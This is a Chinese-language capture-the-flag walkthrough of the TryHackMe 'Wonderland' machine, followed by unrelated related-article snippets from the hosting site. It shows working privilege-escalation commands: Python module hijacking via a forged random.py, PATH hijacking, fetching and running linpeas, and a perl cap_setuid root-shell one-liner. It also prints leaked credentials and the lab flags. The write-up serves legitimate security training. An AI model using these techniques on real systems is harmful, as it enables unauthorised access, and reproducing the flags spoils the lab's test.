Tryhackme练习-Wonderland

基本信息

由于tryhackme是在线靶场,所以这里的IP均为对方的内网IP

攻击机器:10.10.242.186

靶机:10.10.173.3

目标:获取2个flag+root权限

具体流程

信息收集

首先我们使用fscan进行端口扫描,fscan -h 10.10.173.3

在这里插入图片描述

这里开放了80端口,我们直接访问80端口即可,如下所示

image-20241115154520201

首先我们使用gobuster扫一下后门路径,使用如下命令

gobuster -u http://10.10.173.3:80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir

image-20241115155115952

我们访问r路径,如下所示

image-20241115155203115

叫我们继续往前,keepgoing,说明我们的大体方向是对的,现在我们还需要去看看其他地方有没有信息,我们的首页还给我们提供了一张图片,我们可以去看看这张图片是否存在图片隐写的问题

steghide探寻隐藏信息

我们将这张图片下载下来

wget http://10.10.173.3/img/white_rabbit_1.jpg

我们使用steghide进行隐藏信息提取

steghide extract -sf white_rabbit_1.jpg 

image-20241115155626403

我们发现有一个hint.txt,我们直接查看一下这个txt文件即可,如下所示

image-20241115155718253

这里叫我们follow r a b b i t,根据我们前期探测出来的r路径,我们可以猜测其路径结构是/r/a/b/b/i/t

image-20241115155902485

我们查看页面源码,可以发现我们这里泄露了某个账户的ssh账号

alice:HowDothTheLittleCrocodileImproveHisShiningTail

image-20241115155958257

我们这里使用ssh登录即可

权限横移

image-20241115160203180

我们这里成功以alice账户登录了ssh,这里我们列举一下目录,如下所示

在这里插入图片描述

alice目录下有一个root.txt,那我们不妨猜测user.txt在/root下,我们尝试切换目录,如下所示

image-20241115160750155

thm{"Curiouser and curiouser!"}

我们成功在root目录下找到了我们的user.txt,但是我们也发现我们根本没办法进入到其他用户的目录下,所以我们这里要进行权限横移

我们发现在alice目录下存在一个walrus_and_the_carpenter.py文件,且我们执行sudo -l,可以发现我们可以切换到rabbit用户下

image-20241115162131917

在这里插入图片描述

而且这个文件我们可以编辑,所以我们先看看这个文件干了什么

image-20241115161543992

我们发现首先import random这里我们可以伪造一个random.py文件,我们在当前目录下创建一个random.py文件,内容写上

import os
os.system("/bin/bash")

image-20241115162252842

我们再运行这个py文件即可,如下所示

sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

我们成功切换到rabbit用户下,我们再看看有没有什么我们可以利用的信息,我们首先查看到rabbit下存放在一个二进制文件

image-20241115163458959

我们尝试去读取里面的函数,但是我们发现没有strings函数,我们先尝试八这个文件下载下来,我们开启web服务,如下所示

python3 -m http.server 8080

image-20241115163834027

我们使用wget http://10.10.173.3:8080/teaParty下载到本地,如下所示

image-20241115212213880

我们利用strings函数查看该二进制文件,如下所示

image-20241115213420324

我们可以看见里面有个date函数,我们可以尝试利用环境变量进行攻击,以达到权限横移,如下所示

cd /tmp
touch date
nano date #写入/bin/bash
chmod +x date
export PATH=/tmp:$PATH

之后我们运行teaParty文件即可,这样我们就能获取到hatter用户的权限,如下所示

image-20241115214543542

我们直接看该目录下的文件,我们可以看到目录下面有个password.txt,如下所示

image-20241115214731201

我们直接登录这个用户然后进行权限提升

权限提升

我们首先尝试sudo提权,但是没有任何可以利用的信息,我们接着尝试suid提权,但是也没有什么发现,这里我们先下载linpeas.sh来看看版本是否有漏洞

wget http://10.14.91.183/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

我们主要看标红的信息即可,如下所示

image-20241115220708973

我们发现这里有一串被特别标记的,大概率就是我们可以利用的利用点

/usr/bin/perl = cap_setuid+ep 这行代码的意思是:
给 /usr/bin/perl 文件设置能力,使得它具有 cap_setuid 能力,并且这个能力是有效的 (+e) 和被允许的 (+p)。
这意味着 Perl 解释器在执行时将有能力调用 setuid() 函数,进而可以更改进程的 UID。

所以我们可以尝试使用perl进行uid的赋值,进而获取root的uid,如下所示

image-20241115221122273

我们直接执行

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

image-20241115221234867

image-20241115221322947

thm{Twinkle, twinkle, little bat! How I wonder what you\u2019re at!}

本题到此结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/918345.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SQL笔试题笔记(1)

下列选项中关于数据库事务的特性描述正确的是() A.事务允许继续分割B.多个事务在执行事务前后对同一个数据读取的结果是不同的C.一个事务对数据库中数据的改变是暂时的D.并发访问数据库时,各并发事务之间数据库是独立的 答案解析&#xff1a…

vue3 如何调用第三方npm包内部的 pinia 状态管理库方法

抛砖引玉: 如果在开发vue3项目是, 引用了npm第三方包 ,而且这个包内使用了Pinia 状态管理库,那我们如何去调用 npm内部的 Pinia 状态管理库呢? 实际遇到的问题: 今天在制作npm包时遇到的问题,之前Vue2版本的时候状态管理库用的Vuex ,当时调用npm包内的状态管理库很简单,直接引…

麒麟KylinServer的网站,并部署一套主从DNS服务器提供域名解析服务

一、KylinServer网站搭建 ifconfig Copy 注意:根据实际网卡设备名称情况调整代码!不同环境下网卡名称略有不同! 获取本机IP地址,记住IP地址用于之后的配置填写。 ifconfig enp0s2 Copy 下载nginx源码包,并解压缩 wget http://10.44.16.102:60000/allfiles/Kylin/ng…

Python数据分析NumPy和pandas(三十五、时间序列数据基础)

时间序列数据是许多不同领域的结构化数据的重要形式,例如金融、经济、生态学、神经科学和物理学。在许多时间点重复记录的任何内容都会形成一个时间序列。许多时间序列是固定频率的,也就是说,数据点根据某些规则定期出现,例如每 1…

大数据常见面试题及答案(Linux、Zookeeper、Hadoop、Hive)

技术问答题目 一、Linux 1.如何给⽂件(⽂件夹)分配读r、w、x的操作权限? 2. vi 编辑器的常⽤命令有哪些? 3.Linux 中⽂件的操作权限分为⼏种? 4.Linux 中实时查看日志的方法 5. Linux查看内存、磁盘存储、io 读写、端口占用、进程等命…

【软件工程】一篇入门UML建模图(类图)

🌈 个人主页:十二月的猫-CSDN博客 🔥 系列专栏: 🏀软件开发必练内功_十二月的猫的博客-CSDN博客 💪🏻 十二月的寒冬阻挡不了春天的脚步,十二点的黑夜遮蔽不住黎明的曙光 目录 1. 前…

开源音乐分离器Audio Decomposition:可实现盲源音频分离,无需外部乐器分离库,从头开始制作。将音乐转换为五线谱的程序

今天给大家分析一个音频分解器,通过傅里叶变换和信封匹配分离音乐中的各个音符和乐器,实现音乐到乐谱的转换。将音乐开源分离为组成乐器。该方式是盲源分离,从头开始制作,无需外部乐器分离库。 相关链接 代码:https:…

微服务day10-Redis面试篇

Redis主从 搭建主从集群 建立集群时主节点会生成同一的replicationID,交给各个从节点。 集群中的缓冲区是一个环型数组,即若从节点宕机时间过长,可能导致命令被覆盖。 主从集群优化 哨兵原理 哨兵是一个集群来确保哨兵不出现问题。 服务状态监控 选举…

交换排序——快速排序

交换排序——快速排序 7.7 交换排序——快速排序快速排序概念c语言的库函数qsort快速排序框架quickSort 7.7 交换排序——快速排序 快速排序概念 快速排序是Hoare于1962年提出的一种二叉树结构的交换排序方法(下文简称快排),其基本思想为&a…

预处理(1)(手绘)

大家好,今天给大家分享一下编译器预处理阶段,那么我们来看看。 上面是一些预处理阶段的知识,那么明天给大家讲讲宏吧。 今天分享就到这里,谢谢大家!!

自动驾驶系列—深入解析自动驾驶车联网技术及其应用场景

🌟🌟 欢迎来到我的技术小筑,一个专为技术探索者打造的交流空间。在这里,我们不仅分享代码的智慧,还探讨技术的深度与广度。无论您是资深开发者还是技术新手,这里都有一片属于您的天空。让我们在知识的海洋中…

华为路由策略配置

一、AS_Path过滤 要求: AR1与AR2、AR2与AR3之间建立EBGP连接 AS10的设备和AS30的设备无法相互通信 1.启动设备 2.配置IP地址 3.配置路由器的EBGP对等体连接,引入直连路由 [AR1]bgp 10 [AR1-bgp]router-id 1.1.1.1 [AR1-bgp]peer 200.1.2.2 as-nu…

深度学习中的Pixel Shuffle和Pixel Unshuffle:图像超分辨率的秘密武器

在深度学习的计算机视觉任务中,提升图像分辨率和压缩特征图是重要需求。Pixel Shuffle和Pixel Unshuffle是在超分辨率、图像生成等任务中常用的操作,能够通过转换空间维度和通道维度来优化图像特征表示。本篇文章将深入介绍这两种操作的原理,…

React--》如何高效管理前端环境变量:开发与生产环境配置详解

在前端开发中,如何让项目在不同环境下表现得更为灵活与高效,是每个开发者必须面对的挑战,从开发阶段的调试到生产环境的优化,环境变量配置无疑是其中的关键。 env配置文件:通常用于管理项目的环境变量,环境…

HuggingFace:基于YOLOv8的人脸检测模型

个人操作经验总结 1、YOLO的环境配置 github 不论base环境版本如何,建议在conda的虚拟环境中安装 1.1、创建虚拟环境 conda create -n yolov8-face python3.9conda create :创建conda虚拟环境, -n :给虚拟环境命名的…

基于Python的仓库管理系统设计与实现

背景: 基于Python的仓库管理系统功能介绍 本仓库管理系统采用Python语言开发,利用Django框架和MySQL数据库,实现了高效、便捷的仓库管理功能。 用户管理: 支持员工和管理员角色的管理。 用户注册、登录和权限分配功能&#x…

当 docker-compose.yaml 文件部署时,Dify 线上版本升级过程

如果线上 Dify 是通过 docker-compose.yaml 文件部署的,那么当 Dify 版本升级时该如何操作呢?官方已经给出了 Docker compose 和 Source Code 两种方式。相对而言,前者更简单些,至少不需要安装依赖包和迁移数据库文件。为了更加具…

【H3C华三 】VRRP与BFD、Track联动配置案例

原创 厦门微思网络 组网需求 如图1所示,区域A和区域B用户所在网络的出口处部署了两台汇聚层设备(Device A和Device B)。 现要求使用VRRP与BFD、Track联动功能,实现以下需求: • 在Device A和Device B上分别配置两个…

记录配置ubuntu18.04下运行ORBSLAM3的ros接口的过程及执行单目imu模式遇到的问题(详细说明防止忘记)

今天的工作需要自己录制的数据集来验证昨天的标定结果 用ORBSLAM3单目imu模式运行,mentor给的是一个rosbag格式的数据包,配置过程出了几个问题记录一下,沿配置流程写。 一.orbslam3编译安装 1.首先是安装各种依赖 这里不再赘述&#xff0…

【汇编】c++游戏开发

由一起学编程创作的‘C/C项目实战:2D射击游戏开发(简易版), 440 行源码分享来啦~’: C/C项目实战:2D射击游戏开发(简易版), 440 行源码分享来啦~_射击c-CSDN博客文章浏览…